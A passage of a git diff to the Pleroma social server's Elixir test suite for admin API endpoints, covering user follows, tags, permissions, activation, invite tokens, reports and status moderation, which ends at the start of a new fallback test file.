	build_conn()
	\|> assign(:user, admin)
	\|> put_req_header("accept", "application/json")
	\|> post("/api/pleroma/admin/users/follow", %{
	"follower" => follower.nickname,
	"followed" => user.nickname
	})

	user = User.get_cached_by_id(user.id)
	follower = User.get_cached_by_id(follower.id)

	assert User.following?(follower, user)
	end
	end

	describe "/api/pleroma/admin/users/unfollow" do
	test "allows to force-unfollow another user" do
	admin = insert(:user, info: %{is_admin: true})
	user = insert(:user)
	follower = insert(:user)

	User.follow(follower, user)

	build_conn()
	\|> assign(:user, admin)
	\|> put_req_header("accept", "application/json")
	\|> post("/api/pleroma/admin/users/unfollow", %{
	"follower" => follower.nickname,
	"followed" => user.nickname
	})

	user = User.get_cached_by_id(user.id)
	follower = User.get_cached_by_id(follower.id)

	refute User.following?(follower, user)
	end
	end

	describe "PUT /api/pleroma/admin/users/tag" do
	setup do
	admin = insert(:user, info: %{is_admin: true})
	user1 = insert(:user, %{tags: ["x"]})
	user2 = insert(:user, %{tags: ["y"]})
	user3 = insert(:user, %{tags: ["unchanged"]})

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> put_req_header("accept", "application/json")
	\|> put(
	"/api/pleroma/admin/users/tag?nicknames[]=#{user1.nickname}&nicknames[]=#{
	user2.nickname
	}&tags[]=foo&tags[]=bar"
	)

	%{conn: conn, user1: user1, user2: user2, user3: user3}
	end

	test "it appends specified tags to users with specified nicknames", %{
	conn: conn,
	user1: user1,
	user2: user2
	} do
	assert json_response(conn, :no_content)
	assert User.get_cached_by_id(user1.id).tags == ["x", "foo", "bar"]
	assert User.get_cached_by_id(user2.id).tags == ["y", "foo", "bar"]
	end

	test "it does not modify tags of not specified users", %{conn: conn, user3: user3} do
	assert json_response(conn, :no_content)
	assert User.get_cached_by_id(user3.id).tags == ["unchanged"]
	end
	end

	describe "DELETE /api/pleroma/admin/users/tag" do
	setup do
	admin = insert(:user, info: %{is_admin: true})
	user1 = insert(:user, %{tags: ["x"]})
	user2 = insert(:user, %{tags: ["y", "z"]})
	user3 = insert(:user, %{tags: ["unchanged"]})

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> put_req_header("accept", "application/json")
	\|> delete(
	"/api/pleroma/admin/users/tag?nicknames[]=#{user1.nickname}&nicknames[]=#{
	user2.nickname
	}&tags[]=x&tags[]=z"
	)

	%{conn: conn, user1: user1, user2: user2, user3: user3}
	end

	test "it removes specified tags from users with specified nicknames", %{
	conn: conn,
	user1: user1,
	user2: user2
	} do
	assert json_response(conn, :no_content)
	assert User.get_cached_by_id(user1.id).tags == []
	assert User.get_cached_by_id(user2.id).tags == ["y"]
	end

	test "it does not modify tags of not specified users", %{conn: conn, user3: user3} do
	assert json_response(conn, :no_content)
	assert User.get_cached_by_id(user3.id).tags == ["unchanged"]
	end
	end

	describe "/api/pleroma/admin/users/:nickname/permission_group" do
	test "GET is giving user_info" do
	admin = insert(:user, info: %{is_admin: true})

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> put_req_header("accept", "application/json")
	\|> get("/api/pleroma/admin/users/#{admin.nickname}/permission_group/")

	assert json_response(conn, 200) == %{
	"is_admin" => true,
	"is_moderator" => false
	}
	end

	test "/:right POST, can add to a permission group" do
	admin = insert(:user, info: %{is_admin: true})
	user = insert(:user)

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> put_req_header("accept", "application/json")
	\|> post("/api/pleroma/admin/users/#{user.nickname}/permission_group/admin")

	assert json_response(conn, 200) == %{
	"is_admin" => true
	}
	end

	test "/:right DELETE, can remove from a permission group" do
	admin = insert(:user, info: %{is_admin: true})
	user = insert(:user, info: %{is_admin: true})

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> put_req_header("accept", "application/json")
	\|> delete("/api/pleroma/admin/users/#{user.nickname}/permission_group/admin")

	assert json_response(conn, 200) == %{
	"is_admin" => false
	}
	end
	end

	describe "PUT /api/pleroma/admin/users/:nickname/activation_status" do
	setup %{conn: conn} do
	admin = insert(:user, info: %{is_admin: true})

	conn =
	conn
	\|> assign(:user, admin)
	\|> put_req_header("accept", "application/json")

	%{conn: conn}
	end

	test "deactivates the user", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> put("/api/pleroma/admin/users/#{user.nickname}/activation_status", %{status: false})

	user = User.get_cached_by_id(user.id)
	assert user.info.deactivated == true
	assert json_response(conn, :no_content)
	end

	test "activates the user", %{conn: conn} do
	user = insert(:user, info: %{deactivated: true})

	conn =
	conn
	\|> put("/api/pleroma/admin/users/#{user.nickname}/activation_status", %{status: true})

	user = User.get_cached_by_id(user.id)
	assert user.info.deactivated == false
	assert json_response(conn, :no_content)
	end

	test "returns 403 when requested by a non-admin", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> put("/api/pleroma/admin/users/#{user.nickname}/activation_status", %{status: false})

	assert json_response(conn, :forbidden)
	end
	end

	describe "POST /api/pleroma/admin/email_invite, with valid config" do
	setup do
	registrations_open = Pleroma.Config.get([:instance, :registrations_open])
	invites_enabled = Pleroma.Config.get([:instance, :invites_enabled])
	Pleroma.Config.put([:instance, :registrations_open], false)
	Pleroma.Config.put([:instance, :invites_enabled], true)

	on_exit(fn ->
	Pleroma.Config.put([:instance, :registrations_open], registrations_open)
	Pleroma.Config.put([:instance, :invites_enabled], invites_enabled)
	:ok
	end)

	[user: insert(:user, info: %{is_admin: true})]
	end

	test "sends invitation and returns 204", %{conn: conn, user: user} do
	recipient_email = "foo@bar.com"
	recipient_name = "J. D."

	conn =
	conn
	\|> assign(:user, user)
	\|> post(
	"/api/pleroma/admin/users/email_invite?email=#{recipient_email}&name=#{recipient_name}"
	)

	assert json_response(conn, :no_content)

	token_record = List.last(Pleroma.Repo.all(Pleroma.UserInviteToken))
	assert token_record
	refute token_record.used

	notify_email = Pleroma.Config.get([:instance, :notify_email])
	instance_name = Pleroma.Config.get([:instance, :name])

	email =
	Pleroma.Emails.UserEmail.user_invitation_email(
	user,
	token_record,
	recipient_email,
	recipient_name
	)

	Swoosh.TestAssertions.assert_email_sent(
	from: {instance_name, notify_email},
	to: {recipient_name, recipient_email},
	html_body: email.html_body
	)
	end

	test "it returns 403 if requested by a non-admin", %{conn: conn} do
	non_admin_user = insert(:user)

	conn =
	conn
	\|> assign(:user, non_admin_user)
	\|> post("/api/pleroma/admin/users/email_invite?email=foo@bar.com&name=JD")

	assert json_response(conn, :forbidden)
	end
	end

	describe "POST /api/pleroma/admin/users/email_invite, with invalid config" do
	setup do
	[user: insert(:user, info: %{is_admin: true})]
	end

	test "it returns 500 if `invites_enabled` is not enabled", %{conn: conn, user: user} do
	registrations_open = Pleroma.Config.get([:instance, :registrations_open])
	invites_enabled = Pleroma.Config.get([:instance, :invites_enabled])
	Pleroma.Config.put([:instance, :registrations_open], false)
	Pleroma.Config.put([:instance, :invites_enabled], false)

	on_exit(fn ->
	Pleroma.Config.put([:instance, :registrations_open], registrations_open)
	Pleroma.Config.put([:instance, :invites_enabled], invites_enabled)
	:ok
	end)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/pleroma/admin/users/email_invite?email=foo@bar.com&name=JD")

	assert json_response(conn, :internal_server_error)
	end

	test "it returns 500 if `registrations_open` is enabled", %{conn: conn, user: user} do
	registrations_open = Pleroma.Config.get([:instance, :registrations_open])
	invites_enabled = Pleroma.Config.get([:instance, :invites_enabled])
	Pleroma.Config.put([:instance, :registrations_open], true)
	Pleroma.Config.put([:instance, :invites_enabled], true)

	on_exit(fn ->
	Pleroma.Config.put([:instance, :registrations_open], registrations_open)
	Pleroma.Config.put([:instance, :invites_enabled], invites_enabled)
	:ok
	end)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/pleroma/admin/users/email_invite?email=foo@bar.com&name=JD")

	assert json_response(conn, :internal_server_error)
	end
	end

	- test "/api/pleroma/admin/invite_token" do
	+ test "/api/pleroma/admin/users/invite_token" do
	admin = insert(:user, info: %{is_admin: true})

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> put_req_header("accept", "application/json")
	- \|> get("/api/pleroma/admin/invite_token")
	+ \|> get("/api/pleroma/admin/users/invite_token")

	assert conn.status == 200
	end

	test "/api/pleroma/admin/users/:nickname/password_reset" do
	admin = insert(:user, info: %{is_admin: true})
	user = insert(:user)

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> put_req_header("accept", "application/json")
	\|> get("/api/pleroma/admin/users/#{user.nickname}/password_reset")

	assert conn.status == 200
	end

	describe "GET /api/pleroma/admin/users" do
	setup do
	admin = insert(:user, info: %{is_admin: true})

	conn =
	build_conn()
	\|> assign(:user, admin)

	{:ok, conn: conn, admin: admin}
	end

	test "renders users array for the first page", %{conn: conn, admin: admin} do
	user = insert(:user, local: false, tags: ["foo", "bar"])
	conn = get(conn, "/api/pleroma/admin/users?page=1")

	+ users =
	+ [
	+ %{
	+ "deactivated" => admin.info.deactivated,
	+ "id" => admin.id,
	+ "nickname" => admin.nickname,
	+ "roles" => %{"admin" => true, "moderator" => false},
	+ "local" => true,
	+ "tags" => []
	+ },
	+ %{
	+ "deactivated" => user.info.deactivated,
	+ "id" => user.id,
	+ "nickname" => user.nickname,
	+ "roles" => %{"admin" => false, "moderator" => false},
	+ "local" => false,
	+ "tags" => ["foo", "bar"]
	+ }
	+ ]
	+ \|> Enum.sort_by(& &1["nickname"])
	+
	assert json_response(conn, 200) == %{
	"count" => 2,
	"page_size" => 50,
	- "users" => [
	- %{
	- "deactivated" => admin.info.deactivated,
	- "id" => admin.id,
	- "nickname" => admin.nickname,
	- "roles" => %{"admin" => true, "moderator" => false},
	- "local" => true,
	- "tags" => []
	- },
	- %{
	- "deactivated" => user.info.deactivated,
	- "id" => user.id,
	- "nickname" => user.nickname,
	- "roles" => %{"admin" => false, "moderator" => false},
	- "local" => false,
	- "tags" => ["foo", "bar"]
	- }
	- ]
	+ "users" => users
	}
	end

	test "renders empty array for the second page", %{conn: conn} do
	insert(:user)

	conn = get(conn, "/api/pleroma/admin/users?page=2")

	assert json_response(conn, 200) == %{
	"count" => 2,
	"page_size" => 50,
	"users" => []
	}
	end

	test "regular search", %{conn: conn} do
	user = insert(:user, nickname: "bob")

	conn = get(conn, "/api/pleroma/admin/users?query=bo")

	assert json_response(conn, 200) == %{
	"count" => 1,
	"page_size" => 50,
	"users" => [
	%{
	"deactivated" => user.info.deactivated,
	"id" => user.id,
	"nickname" => user.nickname,
	"roles" => %{"admin" => false, "moderator" => false},
	"local" => true,
	"tags" => []
	}
	]
	}
	end

	test "search by domain", %{conn: conn} do
	user = insert(:user, nickname: "nickname@domain.com")
	insert(:user)

	conn = get(conn, "/api/pleroma/admin/users?query=domain.com")

	assert json_response(conn, 200) == %{
	"count" => 1,
	"page_size" => 50,
	"users" => [
	%{
	"deactivated" => user.info.deactivated,
	"id" => user.id,
	"nickname" => user.nickname,
	"roles" => %{"admin" => false, "moderator" => false},
	"local" => true,
	"tags" => []
	}
	]
	}
	end

	test "search by full nickname", %{conn: conn} do
	user = insert(:user, nickname: "nickname@domain.com")
	insert(:user)

	conn = get(conn, "/api/pleroma/admin/users?query=nickname@domain.com")

	assert json_response(conn, 200) == %{
	"count" => 1,
	"page_size" => 50,
	"users" => [
	%{
	"deactivated" => user.info.deactivated,
	"id" => user.id,
	"nickname" => user.nickname,
	"roles" => %{"admin" => false, "moderator" => false},
	"local" => true,
	"tags" => []
	}
	]
	}
	end

	test "search by display name", %{conn: conn} do
	user = insert(:user, name: "Display name")
	insert(:user)

	conn = get(conn, "/api/pleroma/admin/users?name=display")

	assert json_response(conn, 200) == %{
	"count" => 1,
	"page_size" => 50,
	"users" => [
	%{
	"deactivated" => user.info.deactivated,
	"id" => user.id,
	"nickname" => user.nickname,
	"roles" => %{"admin" => false, "moderator" => false},
	"local" => true,
	"tags" => []
	}
	]
	}
	end

	test "search by email", %{conn: conn} do
	user = insert(:user, email: "email@example.com")
	insert(:user)

	conn = get(conn, "/api/pleroma/admin/users?email=email@example.com")

	assert json_response(conn, 200) == %{
	"count" => 1,
	"page_size" => 50,
	"users" => [
	%{
	"deactivated" => user.info.deactivated,
	"id" => user.id,
	"nickname" => user.nickname,
	"roles" => %{"admin" => false, "moderator" => false},
	"local" => true,
	"tags" => []
	}
	]
	}
	end

	test "regular search with page size", %{conn: conn} do
	user = insert(:user, nickname: "aalice")
	user2 = insert(:user, nickname: "alice")

	conn1 = get(conn, "/api/pleroma/admin/users?query=a&page_size=1&page=1")

	assert json_response(conn1, 200) == %{
	"count" => 2,
	"page_size" => 1,
	"users" => [
	%{
	"deactivated" => user.info.deactivated,
	"id" => user.id,
	"nickname" => user.nickname,
	"roles" => %{"admin" => false, "moderator" => false},
	"local" => true,
	"tags" => []
	}
	]
	}

	conn2 = get(conn, "/api/pleroma/admin/users?query=a&page_size=1&page=2")

	assert json_response(conn2, 200) == %{
	"count" => 2,
	"page_size" => 1,
	"users" => [
	%{
	"deactivated" => user2.info.deactivated,
	"id" => user2.id,
	"nickname" => user2.nickname,
	"roles" => %{"admin" => false, "moderator" => false},
	"local" => true,
	"tags" => []
	}
	]
	}
	end

	test "only local users" do
	admin = insert(:user, info: %{is_admin: true}, nickname: "john")
	user = insert(:user, nickname: "bob")

	insert(:user, nickname: "bobb", local: false)

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> get("/api/pleroma/admin/users?query=bo&filters=local")

	assert json_response(conn, 200) == %{
	"count" => 1,
	"page_size" => 50,
	"users" => [
	%{
	"deactivated" => user.info.deactivated,
	"id" => user.id,
	"nickname" => user.nickname,
	"roles" => %{"admin" => false, "moderator" => false},
	"local" => true,
	"tags" => []
	}
	]
	}
	end

	test "only local users with no query", %{admin: old_admin} do
	admin = insert(:user, info: %{is_admin: true}, nickname: "john")
	user = insert(:user, nickname: "bob")

	insert(:user, nickname: "bobb", local: false)

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> get("/api/pleroma/admin/users?filters=local")

	+ users =
	+ [
	+ %{
	+ "deactivated" => user.info.deactivated,
	+ "id" => user.id,
	+ "nickname" => user.nickname,
	+ "roles" => %{"admin" => false, "moderator" => false},
	+ "local" => true,
	+ "tags" => []
	+ },
	+ %{
	+ "deactivated" => admin.info.deactivated,
	+ "id" => admin.id,
	+ "nickname" => admin.nickname,
	+ "roles" => %{"admin" => true, "moderator" => false},
	+ "local" => true,
	+ "tags" => []
	+ },
	+ %{
	+ "deactivated" => false,
	+ "id" => old_admin.id,
	+ "local" => true,
	+ "nickname" => old_admin.nickname,
	+ "roles" => %{"admin" => true, "moderator" => false},
	+ "tags" => []
	+ }
	+ ]
	+ \|> Enum.sort_by(& &1["nickname"])
	+
	assert json_response(conn, 200) == %{
	"count" => 3,
	"page_size" => 50,
	- "users" => [
	- %{
	- "deactivated" => user.info.deactivated,
	- "id" => user.id,
	- "nickname" => user.nickname,
	- "roles" => %{"admin" => false, "moderator" => false},
	- "local" => true,
	- "tags" => []
	- },
	- %{
	- "deactivated" => admin.info.deactivated,
	- "id" => admin.id,
	- "nickname" => admin.nickname,
	- "roles" => %{"admin" => true, "moderator" => false},
	- "local" => true,
	- "tags" => []
	- },
	- %{
	- "deactivated" => false,
	- "id" => old_admin.id,
	- "local" => true,
	- "nickname" => old_admin.nickname,
	- "roles" => %{"admin" => true, "moderator" => false},
	- "tags" => []
	- }
	- ]
	+ "users" => users
	}
	end

	test "load only admins", %{conn: conn, admin: admin} do
	second_admin = insert(:user, info: %{is_admin: true})
	insert(:user)
	insert(:user)

	conn = get(conn, "/api/pleroma/admin/users?filters=is_admin")

	+ users =
	+ [
	+ %{
	+ "deactivated" => false,
	+ "id" => admin.id,
	+ "nickname" => admin.nickname,
	+ "roles" => %{"admin" => true, "moderator" => false},
	+ "local" => admin.local,
	+ "tags" => []
	+ },
	+ %{
	+ "deactivated" => false,
	+ "id" => second_admin.id,
	+ "nickname" => second_admin.nickname,
	+ "roles" => %{"admin" => true, "moderator" => false},
	+ "local" => second_admin.local,
	+ "tags" => []
	+ }
	+ ]
	+ \|> Enum.sort_by(& &1["nickname"])
	+
	assert json_response(conn, 200) == %{
	"count" => 2,
	"page_size" => 50,
	- "users" => [
	- %{
	- "deactivated" => false,
	- "id" => admin.id,
	- "nickname" => admin.nickname,
	- "roles" => %{"admin" => true, "moderator" => false},
	- "local" => admin.local,
	- "tags" => []
	- },
	- %{
	- "deactivated" => false,
	- "id" => second_admin.id,
	- "nickname" => second_admin.nickname,
	- "roles" => %{"admin" => true, "moderator" => false},
	- "local" => second_admin.local,
	- "tags" => []
	- }
	- ]
	+ "users" => users
	}
	end

	test "load only moderators", %{conn: conn} do
	moderator = insert(:user, info: %{is_moderator: true})
	insert(:user)
	insert(:user)

	conn = get(conn, "/api/pleroma/admin/users?filters=is_moderator")

	assert json_response(conn, 200) == %{
	"count" => 1,
	"page_size" => 50,
	"users" => [
	%{
	"deactivated" => false,
	"id" => moderator.id,
	"nickname" => moderator.nickname,
	"roles" => %{"admin" => false, "moderator" => true},
	"local" => moderator.local,
	"tags" => []
	}
	]
	}
	end

	test "load users with tags list", %{conn: conn} do
	user1 = insert(:user, tags: ["first"])
	user2 = insert(:user, tags: ["second"])
	insert(:user)
	insert(:user)

	conn = get(conn, "/api/pleroma/admin/users?tags[]=first&tags[]=second")

	+ users =
	+ [
	+ %{
	+ "deactivated" => false,
	+ "id" => user1.id,
	+ "nickname" => user1.nickname,
	+ "roles" => %{"admin" => false, "moderator" => false},
	+ "local" => user1.local,
	+ "tags" => ["first"]
	+ },
	+ %{
	+ "deactivated" => false,
	+ "id" => user2.id,
	+ "nickname" => user2.nickname,
	+ "roles" => %{"admin" => false, "moderator" => false},
	+ "local" => user2.local,
	+ "tags" => ["second"]
	+ }
	+ ]
	+ \|> Enum.sort_by(& &1["nickname"])
	+
	assert json_response(conn, 200) == %{
	"count" => 2,
	"page_size" => 50,
	- "users" => [
	- %{
	- "deactivated" => false,
	- "id" => user1.id,
	- "nickname" => user1.nickname,
	- "roles" => %{"admin" => false, "moderator" => false},
	- "local" => user1.local,
	- "tags" => ["first"]
	- },
	- %{
	- "deactivated" => false,
	- "id" => user2.id,
	- "nickname" => user2.nickname,
	- "roles" => %{"admin" => false, "moderator" => false},
	- "local" => user2.local,
	- "tags" => ["second"]
	- }
	- ]
	+ "users" => users
	}
	end

	test "it works with multiple filters" do
	admin = insert(:user, nickname: "john", info: %{is_admin: true})
	user = insert(:user, nickname: "bob", local: false, info: %{deactivated: true})

	insert(:user, nickname: "ken", local: true, info: %{deactivated: true})
	insert(:user, nickname: "bobb", local: false, info: %{deactivated: false})

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> get("/api/pleroma/admin/users?filters=deactivated,external")

	assert json_response(conn, 200) == %{
	"count" => 1,
	"page_size" => 50,
	"users" => [
	%{
	"deactivated" => user.info.deactivated,
	"id" => user.id,
	"nickname" => user.nickname,
	"roles" => %{"admin" => false, "moderator" => false},
	"local" => user.local,
	"tags" => []
	}
	]
	}
	end
	end

	test "PATCH /api/pleroma/admin/users/:nickname/toggle_activation" do
	admin = insert(:user, info: %{is_admin: true})
	user = insert(:user)

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> patch("/api/pleroma/admin/users/#{user.nickname}/toggle_activation")

	assert json_response(conn, 200) ==
	%{
	"deactivated" => !user.info.deactivated,
	"id" => user.id,
	"nickname" => user.nickname,
	"roles" => %{"admin" => false, "moderator" => false},
	"local" => true,
	"tags" => []
	}
	end

	describe "GET /api/pleroma/admin/users/invite_token" do
	setup do
	admin = insert(:user, info: %{is_admin: true})

	conn =
	build_conn()
	\|> assign(:user, admin)

	{:ok, conn: conn}
	end

	test "without options", %{conn: conn} do
	conn = get(conn, "/api/pleroma/admin/users/invite_token")

	token = json_response(conn, 200)
	invite = UserInviteToken.find_by_token!(token)
	refute invite.used
	refute invite.expires_at
	refute invite.max_use
	assert invite.invite_type == "one_time"
	end

	test "with expires_at", %{conn: conn} do
	conn =
	get(conn, "/api/pleroma/admin/users/invite_token", %{
	"invite" => %{"expires_at" => Date.to_string(Date.utc_today())}
	})

	token = json_response(conn, 200)
	invite = UserInviteToken.find_by_token!(token)

	refute invite.used
	assert invite.expires_at == Date.utc_today()
	refute invite.max_use
	assert invite.invite_type == "date_limited"
	end

	test "with max_use", %{conn: conn} do
	conn =
	get(conn, "/api/pleroma/admin/users/invite_token", %{
	"invite" => %{"max_use" => 150}
	})

	token = json_response(conn, 200)
	invite = UserInviteToken.find_by_token!(token)
	refute invite.used
	refute invite.expires_at
	assert invite.max_use == 150
	assert invite.invite_type == "reusable"
	end

	test "with max use and expires_at", %{conn: conn} do
	conn =
	get(conn, "/api/pleroma/admin/users/invite_token", %{
	"invite" => %{"max_use" => 150, "expires_at" => Date.to_string(Date.utc_today())}
	})

	token = json_response(conn, 200)
	invite = UserInviteToken.find_by_token!(token)
	refute invite.used
	assert invite.expires_at == Date.utc_today()
	assert invite.max_use == 150
	assert invite.invite_type == "reusable_date_limited"
	end
	end

	describe "GET /api/pleroma/admin/users/invites" do
	setup do
	admin = insert(:user, info: %{is_admin: true})

	conn =
	build_conn()
	\|> assign(:user, admin)

	{:ok, conn: conn}
	end

	test "no invites", %{conn: conn} do
	conn = get(conn, "/api/pleroma/admin/users/invites")

	assert json_response(conn, 200) == %{"invites" => []}
	end

	test "with invite", %{conn: conn} do
	{:ok, invite} = UserInviteToken.create_invite()

	conn = get(conn, "/api/pleroma/admin/users/invites")

	assert json_response(conn, 200) == %{
	"invites" => [
	%{
	"expires_at" => nil,
	"id" => invite.id,
	"invite_type" => "one_time",
	"max_use" => nil,
	"token" => invite.token,
	"used" => false,
	"uses" => 0
	}
	]
	}
	end
	end

	describe "POST /api/pleroma/admin/users/revoke_invite" do
	test "with token" do
	admin = insert(:user, info: %{is_admin: true})
	{:ok, invite} = UserInviteToken.create_invite()

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> post("/api/pleroma/admin/users/revoke_invite", %{"token" => invite.token})

	assert json_response(conn, 200) == %{
	"expires_at" => nil,
	"id" => invite.id,
	"invite_type" => "one_time",
	"max_use" => nil,
	"token" => invite.token,
	"used" => true,
	"uses" => 0
	}
	end
	end

	describe "GET /api/pleroma/admin/reports/:id" do
	setup %{conn: conn} do
	admin = insert(:user, info: %{is_admin: true})

	%{conn: assign(conn, :user, admin)}
	end

	test "returns report by its id", %{conn: conn} do
	[reporter, target_user] = insert_pair(:user)
	activity = insert(:note_activity, user: target_user)

	{:ok, %{id: report_id}} =
	CommonAPI.report(reporter, %{
	"account_id" => target_user.id,
	"comment" => "I feel offended",
	"status_ids" => [activity.id]
	})

	response =
	conn
	\|> get("/api/pleroma/admin/reports/#{report_id}")
	\|> json_response(:ok)

	assert response["id"] == report_id
	end

	test "returns 404 when report id is invalid", %{conn: conn} do
	conn = get(conn, "/api/pleroma/admin/reports/test")

	assert json_response(conn, :not_found) == "Not found"
	end
	end

	describe "PUT /api/pleroma/admin/reports/:id" do
	setup %{conn: conn} do
	admin = insert(:user, info: %{is_admin: true})
	[reporter, target_user] = insert_pair(:user)
	activity = insert(:note_activity, user: target_user)

	{:ok, %{id: report_id}} =
	CommonAPI.report(reporter, %{
	"account_id" => target_user.id,
	"comment" => "I feel offended",
	"status_ids" => [activity.id]
	})

	%{conn: assign(conn, :user, admin), id: report_id}
	end

	test "mark report as resolved", %{conn: conn, id: id} do
	response =
	conn
	\|> put("/api/pleroma/admin/reports/#{id}", %{"state" => "resolved"})
	\|> json_response(:ok)

	assert response["state"] == "resolved"
	end

	test "closes report", %{conn: conn, id: id} do
	response =
	conn
	\|> put("/api/pleroma/admin/reports/#{id}", %{"state" => "closed"})
	\|> json_response(:ok)

	assert response["state"] == "closed"
	end

	test "returns 400 when state is unknown", %{conn: conn, id: id} do
	conn =
	conn
	\|> put("/api/pleroma/admin/reports/#{id}", %{"state" => "test"})

	assert json_response(conn, :bad_request) == "Unsupported state"
	end

	test "returns 404 when report is not exist", %{conn: conn} do
	conn =
	conn
	\|> put("/api/pleroma/admin/reports/test", %{"state" => "closed"})

	assert json_response(conn, :not_found) == "Not found"
	end
	end

	describe "GET /api/pleroma/admin/reports" do
	setup %{conn: conn} do
	admin = insert(:user, info: %{is_admin: true})

	%{conn: assign(conn, :user, admin)}
	end

	test "returns empty response when no reports created", %{conn: conn} do
	response =
	conn
	\|> get("/api/pleroma/admin/reports")
	\|> json_response(:ok)

	assert Enum.empty?(response["reports"])
	end

	test "returns reports", %{conn: conn} do
	[reporter, target_user] = insert_pair(:user)
	activity = insert(:note_activity, user: target_user)

	{:ok, %{id: report_id}} =
	CommonAPI.report(reporter, %{
	"account_id" => target_user.id,
	"comment" => "I feel offended",
	"status_ids" => [activity.id]
	})

	response =
	conn
	\|> get("/api/pleroma/admin/reports")
	\|> json_response(:ok)

	[report] = response["reports"]

	assert length(response["reports"]) == 1
	assert report["id"] == report_id
	end

	test "returns reports with specified state", %{conn: conn} do
	[reporter, target_user] = insert_pair(:user)
	activity = insert(:note_activity, user: target_user)

	{:ok, %{id: first_report_id}} =
	CommonAPI.report(reporter, %{
	"account_id" => target_user.id,
	"comment" => "I feel offended",
	"status_ids" => [activity.id]
	})

	{:ok, %{id: second_report_id}} =
	CommonAPI.report(reporter, %{
	"account_id" => target_user.id,
	"comment" => "I don't like this user"
	})

	CommonAPI.update_report_state(second_report_id, "closed")

	response =
	conn
	\|> get("/api/pleroma/admin/reports", %{
	"state" => "open"
	})
	\|> json_response(:ok)

	[open_report] = response["reports"]

	assert length(response["reports"]) == 1
	assert open_report["id"] == first_report_id

	response =
	conn
	\|> get("/api/pleroma/admin/reports", %{
	"state" => "closed"
	})
	\|> json_response(:ok)

	[closed_report] = response["reports"]

	assert length(response["reports"]) == 1
	assert closed_report["id"] == second_report_id

	response =
	conn
	\|> get("/api/pleroma/admin/reports", %{
	"state" => "resolved"
	})
	\|> json_response(:ok)

	assert Enum.empty?(response["reports"])
	end

	test "returns 403 when requested by a non-admin" do
	user = insert(:user)

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> get("/api/pleroma/admin/reports")

	assert json_response(conn, :forbidden) == %{"error" => "User is not admin."}
	end

	test "returns 403 when requested by anonymous" do
	conn =
	build_conn()
	\|> get("/api/pleroma/admin/reports")

	assert json_response(conn, :forbidden) == %{"error" => "Invalid credentials."}
	end
	end

	describe "POST /api/pleroma/admin/reports/:id/respond" do
	setup %{conn: conn} do
	admin = insert(:user, info: %{is_admin: true})

	%{conn: assign(conn, :user, admin)}
	end

	test "returns created dm", %{conn: conn} do
	[reporter, target_user] = insert_pair(:user)
	activity = insert(:note_activity, user: target_user)

	{:ok, %{id: report_id}} =
	CommonAPI.report(reporter, %{
	"account_id" => target_user.id,
	"comment" => "I feel offended",
	"status_ids" => [activity.id]
	})

	response =
	conn
	\|> post("/api/pleroma/admin/reports/#{report_id}/respond", %{
	"status" => "I will check it out"
	})
	\|> json_response(:ok)

	recipients = Enum.map(response["mentions"], & &1["username"])

	assert conn.assigns[:user].nickname in recipients
	assert reporter.nickname in recipients
	assert response["content"] == "I will check it out"
	assert response["visibility"] == "direct"
	end

	test "returns 400 when status is missing", %{conn: conn} do
	conn = post(conn, "/api/pleroma/admin/reports/test/respond")

	assert json_response(conn, :bad_request) == "Invalid parameters"
	end

	test "returns 404 when report id is invalid", %{conn: conn} do
	conn =
	post(conn, "/api/pleroma/admin/reports/test/respond", %{
	"status" => "foo"
	})

	assert json_response(conn, :not_found) == "Not found"
	end
	end

	describe "PUT /api/pleroma/admin/statuses/:id" do
	setup %{conn: conn} do
	admin = insert(:user, info: %{is_admin: true})
	activity = insert(:note_activity)

	%{conn: assign(conn, :user, admin), id: activity.id}
	end

	test "toggle sensitive flag", %{conn: conn, id: id} do
	response =
	conn
	\|> put("/api/pleroma/admin/statuses/#{id}", %{"sensitive" => "true"})
	\|> json_response(:ok)

	assert response["sensitive"]

	response =
	conn
	\|> put("/api/pleroma/admin/statuses/#{id}", %{"sensitive" => "false"})
	\|> json_response(:ok)

	refute response["sensitive"]
	end

	test "change visibility flag", %{conn: conn, id: id} do
	response =
	conn
	\|> put("/api/pleroma/admin/statuses/#{id}", %{"visibility" => "public"})
	\|> json_response(:ok)

	assert response["visibility"] == "public"

	response =
	conn
	\|> put("/api/pleroma/admin/statuses/#{id}", %{"visibility" => "private"})
	\|> json_response(:ok)

	assert response["visibility"] == "private"

	response =
	conn
	\|> put("/api/pleroma/admin/statuses/#{id}", %{"visibility" => "unlisted"})
	\|> json_response(:ok)

	assert response["visibility"] == "unlisted"
	end

	test "returns 400 when visibility is unknown", %{conn: conn, id: id} do
	conn =
	conn
	\|> put("/api/pleroma/admin/statuses/#{id}", %{"visibility" => "test"})

	assert json_response(conn, :bad_request) == "Unsupported visibility"
	end
	end

	describe "DELETE /api/pleroma/admin/statuses/:id" do
	setup %{conn: conn} do
	admin = insert(:user, info: %{is_admin: true})
	activity = insert(:note_activity)

	%{conn: assign(conn, :user, admin), id: activity.id}
	end

	test "deletes status", %{conn: conn, id: id} do
	conn
	\|> delete("/api/pleroma/admin/statuses/#{id}")
	\|> json_response(:ok)

	refute Activity.get_by_id(id)
	end

	test "returns error when status is not exist", %{conn: conn} do
	conn =
	conn
	\|> delete("/api/pleroma/admin/statuses/test")

	assert json_response(conn, :bad_request) == "Could not delete"
	end
	end
	end
	diff --git a/test/web/fallback_test.exs b/test/web/fallback_test.exs
	new file mode 100644
	index 000000000..cc78b3ae1
	--- /dev/null
	+++ b/test/web/fallback_test.exs
	@@ -0,0 +1,52 @@
	+# Pleroma: A lightweight social networking server
	+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	+# SPDX-License-Identifier: AGPL-3.0-only
	+
